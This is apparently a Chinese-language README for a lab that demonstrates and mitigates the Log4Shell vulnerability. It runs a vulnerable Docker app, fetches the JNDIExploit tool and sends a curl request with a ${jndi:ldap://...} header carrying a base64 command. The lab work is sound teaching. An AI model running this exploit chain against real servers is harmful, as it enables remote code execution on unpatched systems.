本仓库用于演示和缓解 Log4j 2021(CVE-2021-44228)漏洞。
CVE-2021-44228 / Log4Shell 漏洞的原理是向易受攻击的软件注入恶意负载,该负载会通过 JNDI 并借助 LDAP 协议,诱使 Log4J 从第三方来源获取值。……导入的数据可以是代码,Log4J 会在系统上执行这些代码。
我们在 Docker 中运行一个易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序,该应用被 @christophetd 昵称为 Log4Shell。
它使用 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)和 JDK 1.8.0_181。
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

我们在此案例中从 web archive 下载用于 Log4Shell 的 JNDI Exploit,但您也可以从任何可用的地方下载它。
wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip


我们获取运行 Log4Shell 应用程序 Docker 的机器的 IP 地址。
ifconfig

我们解压包含用于 Log4Shell 的 JNDI Exploit 的 zip 文件,从而获得 JAR,然后执行它并填入我们在步骤 3 中获取的 IP。
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'


docker exec vulnerable-app ls /tmp

关于如何在 Windows 和 Linux 中缓解 Log4Shell 漏洞的视频:缓解措施

Feryael Justice 2022